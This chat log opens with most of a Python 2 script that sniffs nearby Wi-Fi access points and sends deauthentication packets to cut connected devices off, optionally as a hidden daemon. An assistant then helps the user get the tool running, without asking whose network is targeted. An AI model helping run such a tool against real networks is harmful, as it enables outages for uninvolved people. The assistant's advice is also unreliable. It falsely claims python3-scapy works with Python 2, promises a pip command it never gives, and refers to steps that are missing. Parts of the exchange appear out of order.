def execute(cmd, verbose=False):
p = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
out = []
while True:
line = p.stdout.readline()
out.append(line)
if verbose:
print line,
if not line and p.poll() is not None:
break
if p.returncode != 0:
print p.stderr.read().strip()
return 1
else:
return ''.join(out).strip()
def daemonize():
if os.fork():
os._exit(0)
os.chdir("/")
os.umask(022)
os.setsid()
os.umask(0)
if os.fork():
os._exit(0)
stdin = open(os.devnull)
stdout = open(os.devnull, 'w')
os.dup2(stdin.fileno(), 0)
os.dup2(stdout.fileno(), 1)
os.dup2(stdout.fileno(), 2)
stdin.close()
stdout.close()
os.umask(022)
for fd in xrange(3, 1024):
try:
os.close(fd)
except OSError:
pass
def packetHandler(self,pkt):
self.pktcount += 1
if pkt.haslayer(scapy.all.Dot11) and pkt.type == 0 and pkt.subtype == 8 and pkt.addr2 not in self.ap_set:
self.ssidcount += 1
self.ap_set.add(pkt.addr2)
self.ap_list.setdefault(str(self.ssidcount), [pkt.addr2, pkt.info])
def stopFilter(self, x): #Stop the Sniffing if packet reachs the count
sys.stdout.write("\b{}".format(next(spin)))
sys.stdout.flush()
if self.pktlimit < self.pktcount:
return True
else:
return False
def runSniff(self): #Sniffing Here!
print "[+] Monitoring wifi signals, it will take some time(or use '-w' option). Please wait.....",
scapy.all.sniff(iface=self.mon, prn=self.packetHandler, stop_filter=self.stopFilter)
print "\n"
return self.ap_list
def get_aplist(Iface):
result = None
ap = dict()
print "[+] Running : sudo iwlist {} s".format(Iface)
for x in range(3): #Sometimes it command is not running
if x == 2:
print RED+"[-] Something went worng. 'iwlist' working? or run-> service network-manager restart"+ENDC
exit(1)
try:
result = subprocess.check_output("sudo iwlist {} s".format(Iface), shell=True)
break
except:
continue
for name, pattern in PATTREN.items():
PATTREN[name] = re.compile(pattern)
for line in result.split("Cell"):
if line and "Scan completed" not in line:
mac = PATTREN["MAC Address"].findall(line)[0].strip()
ssid = PATTREN["ESSID"].findall(line)[0].strip('"')
ids = str(int(PATTREN["ID"].findall(line)[0].strip()))
ap.setdefault(ids, [mac, ssid])
return ap
def manage_process(status): # 0 for Check & 1 for kill
daemon_pid = None
try:
with open(PID_FILE) as f:
daemon_pid = f.read()
except: pass
if not daemon_pid:
if status == 1:
print "[-] 'Deauth daemon' is not running"
else:
if status == 0:
print "[+] 'Deauth daemon' is already running with pid {}".format(daemon_pid)
exit(0)
elif status == 1:
os.kill(int(daemon_pid), signal.SIGTERM)
try:
os.remove(PID_FILE)
except: pass
print "[*] Deauth daemon killed"
exit(0)
def render_ouput(ap):
if not ap:
print RED+"[-] Wifi hotspots not found near by you."+ENDC
exit(1)
print "+".ljust(5, "-")+"+".ljust(28,"-")+"+".ljust(20, "-")+"+"
print "| ID".ljust(5, " ")+"|"+" Wifi Hotspot Name "+"|"+" MAC Address |"
print "+".ljust(5, "-")+"+".ljust(28, "-")+"+".ljust(20, "-")+"+"
for id, ssid in ap.items():
print "|", str(id).ljust(3, " ")+"|", ssid[1].ljust(26, " ")+"|", ssid[0].ljust(17, " ")+" |"
print "+".ljust(5, "-")+"+".ljust(28,"-")+"+".ljust(20, "-")+"+"
while 1:
try:
res = raw_input("Choose ID>>")
if res in ap:
break
except KeyboardInterrupt:
print "\n"
exit(0)
except: pass
print "Invalid option. Please try again\n"
return ap[res]
def write_pid():
with open(PID_FILE, 'w') as f:
f.write(str(os.getpid()))
if name == 'main':
parser = argparse.ArgumentParser(description='Sends deauthentication packets to a wifi network which results
network outage for connected devices. [Coded by VEERENDRA KAKUMANU]')
parser.add_argument('-d', action='store_true', dest='daemon', default=False, help='Run as daemon')
parser.add_argument('-c', action='store', dest='count', help='Stops the monitoring after this count reachs.
By default it is 2000')
parser.add_argument('-m', action='store', dest='mac', help='Sends deauth packets to this network')
parser.add_argument('-w', action='store_true', dest='iwlist', help='Uses "iwlist" to get wifi hotspots list')
parser.add_argument('-k', action='store_true', dest='kill', default=False, help='Kills "Deauth Daemon" if it is running')
parser.add_argument('-v', action='version', version='%(prog)s 3.1')
results = parser.parse_args()
if not os.geteuid() == 0:
print RED+"[-] Script must run with 'sudo'"+ENDC
exit(1)
if results.kill:
manage_process(1)
exit(0)
banner()
manage_process(0)
if results.count:
PACKET_COUNT = int(results.count)
Interface = CreatIface()
if results.mac:
if not re.search(r'(?:[0-9a-fA-F]:?){12}', results.mac.strip()):
print RED+"[-] Incorrect MAC address format. Please check", results.mac.strip()+ENDC
exit(1)
if not Interface.Iface:
Interface.getWIface()
Interface.createmonIface()
if results.daemon:
print GREEN+"[] Running as daemon. Wrote pid :" + PID_FILE+ENDC
daemonize()
write_pid()
send_deauth([results.mac.strip(), results.mac.strip()], Interface.monIface)
elif results.iwlist:
wifi = None
if not Interface.Iface:
Interface.getWIface()
ap_list = get_aplist(Interface.Iface)
wifi = render_ouput(ap_list)
Interface.createmonIface()
else:
print "[.] Overriding option '-w'. Look like there is already mon interface exits. Fallback to airmon-ng sniffing"
Interface.createmonIface()
sniff = sniffWifi(Interface.monIface, PACKET_COUNT)
wifi = render_ouput(sniff.runSniff())
if results.daemon:
print GREEN+"[] Running as daemon. Wrote pid :"+PID_FILE+ENDC
daemonize()
write_pid()
send_deauth(wifi, Interface.monIface)
else:
if not Interface.Iface:
Interface.getWIface()
Interface.createmonIface()
sniff = sniffWifi(Interface.monIface, PACKET_COUNT)
wifi = render_ouput(sniff.runSniff())
if results.daemon:
print GREEN+"[*] Running as daemon. Wrote pid :" + PID_FILE+ENDC
daemonize()
write_pid()
send_deauth(wifi, Interface.monIface)
my codes not working
Assistant
As this code needs to be run as root user, you have to run the code with sudo. Also, check whether you have installed scapy and ran it with Python2 because the code was written in Python2. Make sure you have run the code with the Python version you have installed the Scapy module.
User
how do I install scapy
Assistant
You can install Scapy using pip. Open your terminal and run the following command:
sudo python2 deauth.py
[-] scapy module not found. Please install it by running 'sudo apt-get install python-scapy -y'
Assistant
As the error message suggests, you need to install Scapy on your system. You can install it by running the following command in the terminal:
code
sudo apt-get install python-scapy
This will install Scapy on your system. Then try running the deauth.py file again.
User
udo apt-get install python-scapy
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
Package python-scapy is not available, but is referred to by another package.
This may mean that the package is missing, has been obsoleted, or
is only available from another source
However the following packages replace it:
python3-scapy
E: Package 'python-scapy' has no installation candidate
Assistant
It looks like the python-scapy package is not available in your system repository. You can try installing python3-scapy instead, which should work fine with Python 2. To install python3-scapy, run the following command:
code
sudo apt-get install python3-scapy
After the installation is complete, retry running the deauth.py file with Python2.
User
sudo python2 deauth.py
[-] scapy module not found. Please install it by running 'sudo apt-get install python-scapy -y'
Assistant
Even after installing scapy with pip, you still cannot run the deauth.py file because it is not finding it in the system path. You need to confirm that scapy is installed under Python2. To confirm, run the following:
code
sudo python2 -c "import scapy; print scapy"
This will check if Scapy is installed for Python2.
If this doesn't work, you can try the following steps to set up Scapy with Python2:
After installing Scapy for Python2, retry running the deauth.py file.
User
File "", line 1
“import
^
SyntaxError: invalid syntax
scapy”
Assistant
It looks like there is a problem with the quotation marks in the previous command. Replace the “ and ” quotation marks with ". Try running the following command instead:
code
sudo python2 -c "import scapy; print scapy"
This should check if Scapy is installed for Python2.